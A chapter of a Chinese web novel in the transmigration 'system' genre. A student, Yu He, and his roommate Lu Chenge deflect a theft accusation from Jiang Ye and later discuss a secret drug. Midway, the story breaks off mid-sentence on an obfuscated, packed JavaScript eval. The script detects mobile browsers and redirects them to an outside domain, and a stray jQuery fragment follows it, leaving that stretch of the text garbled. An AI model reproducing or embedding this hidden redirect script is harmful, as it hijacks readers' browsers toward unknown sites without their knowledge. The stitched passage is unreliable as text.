“啪！”


    清脆声清清楚楚响在每个人耳中。


    陆沉戈偏向左边的脸迅速泛起红印，阵阵酥麻感顺两人相接的皮肤传递攀附，被抓着的手徒然用力抓紧，很快又不受控制瘫软到任人所为。


    他打我……不对好像是我打得他……


    郁禾脑内一片混乱，千言万语化作一句，他打自己干什么啊！？


    “抱歉。”陆沉戈嗓音冰冷低哑。


    与此同时，靠近脚步声停下，前后两拨人都呆愣原地，或震惊或打量的视线齐刷刷投来。


    像是掐准他们到来的时机，陆沉戈一字一顿，顺畅接上没说完的话：“抱歉，是我冒犯你了。”


    他嘴上说着示弱，视线却直勾勾看过来，沿手臂曲线寸寸上移，像一张无形的网缓慢收紧，最后沉沉停在脸上。


    郁禾被那目光刺得腿一软，还是陆沉戈手臂用力撑住了他，细细颤动的黑眸看到陆沉戈眼中暗示，勉强吐出音节，“你、你……”


    郁禾缓了口气，找回声音：“你知道就好。”


    说罢，他强撑双腿收回手臂，手指仓皇间擦过耳边鬓发。


    众人只见郁禾脸上空白，面无表情。似是有些生气地下颌紧绷，月光下白玉似的手施舍轻抚过男人发丝，浑然一副高高在上的冷淡姿态。


    而他们听到的对话没头没尾，留白充满遐想空间。到底有什么话是要跑到这里来说的，到底有什么事让郁禾动了怒。


    一时在场其他几人脸色肉眼可见不断变化，显然都想到什么，纷纷被转移注意力。


    系统见状狠狠替宿主松了口气。


    江野是发现郁禾太久没回来才出来找人的。发消息不回，整个一楼找了一圈都没找到，最后不抱希望地出来看了眼。


    没想到能看到眼前一幕。


    原本闪过的疑虑消失，江野眼中诧异转变为怒火，看陆沉戈的视线像在看一个死人。


    不知道哪个犄角旮旯里冒出来的玩意，以为郁禾帮了他一次就动起别的心思，也不照照镜子看看自己是谁，他怎么敢的！？


    新仇旧恨涌上心头，江野怒火翻涌，气急反笑：“好……你，过来！”


    说完手臂往上抬起，身后一个躲躲闪闪的男生上前。


    陆沉戈站起身，坦然顶着左脸红痕上前一步，隐隐有保护的姿态将郁禾结实挡在身后。


    哪怕直面其他人瞩目，他的神情依旧波澜不惊，好似他和郁禾在这聊天是天经地义，其他人才是闯入的不相干人士一样。


    江野见状脸色愈发阴沉，让人心惊胆战的强烈杀意彻底爆发：“说出来，你都看到什么了？”


    男生目光满是恐惧，却还是咬牙说出：“我……就是他！我看见他偷偷摸摸走出江哥的宿舍！手里还拿着什么东西！”


    话落，男生视线微不可察偏向郁禾。


    所有人都让紧张氛围感染，没有察觉他的小动作。


    只有对更加敏感的郁禾注意到了，联想到那条短信，他心脏骤停，瞳孔急速扩大又缩紧，就要退后一步。


    男生的手猛然抬起，指向陆沉戈。


    郁禾生生停在原地，实在没憋住：【……啊？】


    【宿主放心，剧情进展没那么快。】


    也、也是，郁禾吓得忘记进度。回过味来又觉不对，既然如此那个男生为什么在说话前用复杂眼神看他，况且……况且是陆沉戈也不行啊！


    “这位好、同、学。”江野咬牙切齿，恨不得直接动手：“你还有什么要辩解的吗？”


    一个没有背景的特招生违反校规，退不退学都是他一句话的事，而等人离开校区，不小心失踪了又能怎样。


    江野现在只想让他离郁禾有多远滚多远。


    郁禾肩膀一缩，拼命思索该怎么办。


    眼见气氛越来越凝重，郁禾硬着头皮离开让他感到安心的后背，勉强找到原主说过的话拖延时间：“……江野，你又是为了这件事，他真的看到了？待会不会要转过来质问我吧？”


    长时间没有动作的陆沉戈偏头，定定看了郁禾一眼，视线蓦地更加晦涩。


    江野看着他夜晚中能容纳夜空的清澈眼眸，语气软和下来：“不是，当时不问缘由质疑你是我不对，但以后不会……”


    他没能说下去，因为郁禾的视线在他和男生身上来回移动，一脸因亲身经历不相信的表情。


    “你来说。”江野想起自己做过的事实，说不出话，干脆转头命令。


    “我……”男生慌不择言：“我有证据……对！当时看他可疑我还拍了张照！”


    郁禾肩膀又是一缩，压下去的惊慌都快要藏不住。


    他还能拿出照片？就算有照片里面的人不应该是他吗？！


    男生开始胡乱摸索口袋，一旁的陆沉戈如同早有预料冷冷看去，“六月七日早上八点，我和胡乔老师在实验室碰头，直到晚上关门离开，可以随时找他求证。”


    与此同时，男生把找到的照片展示举起，上面赫然是陆沉戈的身影，照片边缘还拍到了宿舍一角。


    江野眉头阴沉压下，阴晴不定打量那张照片，快速拿出手机发送短信。


    很快，回信声响起。他看了一眼，手背青筋突得暴起，五官骤然接近扭曲，显然是怒到了极点。


    再开口，每个字都仿佛从寒冰里抽出来：“照片给我。”


    男生傻住了，没动。江野不耐烦，直接冷着脸拽过照片，看了眼郁禾后径直离开，像急切地想要得到某个结果。


    走了？


    郁禾松了口气，后怕涌上心头。看来自己做的坏事算是瞒住了，连带原主的也安全许多，只剩下最后一个问题。


    【系……】郁禾苦着脸，【龙傲天把瓶子吃下去了，那我不是白干了！】


    结果直接导致哪怕危机解决，郁禾都没什么意思去吃点好的。在人群散去后，他默默跟着陆沉戈返回宿舍。


    ……


    回到宿舍已是晚上九点。


    走在楼梯上，郁禾逐渐熟练的表情让陆沉戈眼皮一跳。


    他时不时侧过眼，装作不经意动动脑袋，看似没什么表情，实际上快来问我的意思已经铺天盖砸满狭窄空间。


    而这一次，仅仅是合上宿舍大门没几秒，陆沉戈便看了他一眼，配合道：“怎么了？”


    郁禾抓紧逮住机会，旁敲侧击问出来：“你、你怎么把那个瓶子给吃下去了！不用去洗胃吗？”


    他一下还没好意思说，洗出来能不能随便帮忙查个成分。


    更没敢问，你对我上楼专门偷个瓶子出来有什么看法，是不是觉得瓶子特别眼熟，特别像是江野要找的东西。


    郁禾险些没喘上气，既担心龙傲天会不会因此怀疑他，又怕本来没怀疑，自己反倒给人提醒了。


    【完蛋了系统，要是让陆沉戈知道是原主诬陷的他，岂不是得当场宰了我！】


    陆沉戈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057974|162934||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    久久不语，看得郁禾脊背一凉，正要假装无事发生。


    眨眼功夫，面前陆沉戈手一抖，从袖口滑落出几片完全看不出原本模样的玻璃碎片。


    要不是郁禾做贼心虚，肯定认不出那是他心心念念的玻璃瓶。


    原来没有吞下去啊，太好了。


    等等，郁禾再打眼一看，反复确认。


    宽大掌心里只有几片玻璃残渣，里面液体消失不见。


    陆沉戈随后将碎片扔进垃圾桶，无所谓道：“玻璃没吃。”


    郁禾呆住，嘴唇动了动说不出话。


    可他想要的只有里面的东西，而且把不明液体喝了岂不是更需要去医院检查……


    “没关系。”陆沉戈偏移目光，躲过隐隐染上担忧的视线，不敢直视，“只是些能安抚精神的药剂。”


    没想到能得到想要的答应，郁禾一时没反应过来，先冒出来的念头还是陆沉戈今天真特别怪，从话少得可怜变成多得可怕。


    居然还会主动给他解释了！


    “那……”郁禾胆子大起来，全然忘记之前遭遇的挫折，忍不住试探：“药剂还要保管那么严密？”


    他没抱什么希望，以为又要收获沉默。


    谁知陆沉戈垂着眸子，有问必答：“记得巷子里遇到的疯子吗？不出意外药剂应该是用来治疗相似精神问题的。”


    郁禾想起小巷里的恐怖场景，震惊与害怕交织，上半身不自觉前倾靠进，“可、可这是江野的东西啊……”


    什么意思？江野要喝精神药剂？


    “不好说。”陆沉戈认真思索，回答并不敷衍：“只能确定联邦几个大家族手里都有药剂，但不知道是不是给自己用的。”


    突然爆炸的信息量让郁禾大脑过载，半天给不出回应。最让他震惊的是听上去能牵扯到整个联邦的大事，却半点风声都没有传出。


    “你、你到底……”郁禾抬眼，后知后觉感到害怕。


    既然如此，陆沉戈是怎么知道的？


    陆沉戈怎么好像……什么都知道。


    “咔哒。”


    郁禾眼睁睁看着陆沉戈抬手按住开关，头顶暖黄灯光熄灭，黑暗瞬间笼罩全身。


    不能视物让其他感官变得极为敏感，连空气流动都像针一样刺过皮肤。


    黑暗中，郁禾只能感受到一股冰冷的气息以慢得让人窒息的速度俯身，空气都为此凝固浓稠。


    郁禾睫羽颤动，哪怕看不见还是努力睁大眼睛，恍惚以为自己事情败露要被灭口了。


    但冰冷的手只是轻柔的、又带着不容置疑的力量缓慢合上他的眼睛。


    闭上眼睛的那刻，所有的挣扎与反抗都化为泡影，消失无踪。世界也随之变得狭小，只有两人存在感鲜明的呼吸环绕周身。


    其中一道呼吸仿佛被牵引，随另一道更加平稳的呼吸放缓节奏，沉静安宁。


    郁禾一晚上担惊受怕的剧烈心跳慢了下来，竟诡异地感到放松。


    “你会知道的。”陆沉戈顿了顿，低语重复：“别怕……没有人会对你做什么。”


    “很晚了，睡吧。”


    直到陆沉戈在黑暗中送他回到卧室，郁禾才失去力气般软软倒在床上，拿被子把自己裹成一个球。


    卧室内陷入沉默，半晌，郁禾犹犹豫豫说：【系统，龙傲天坏掉了吧？】


    系统：【……】


    系统无话可说，麻利地再次向主系统发去三封急报。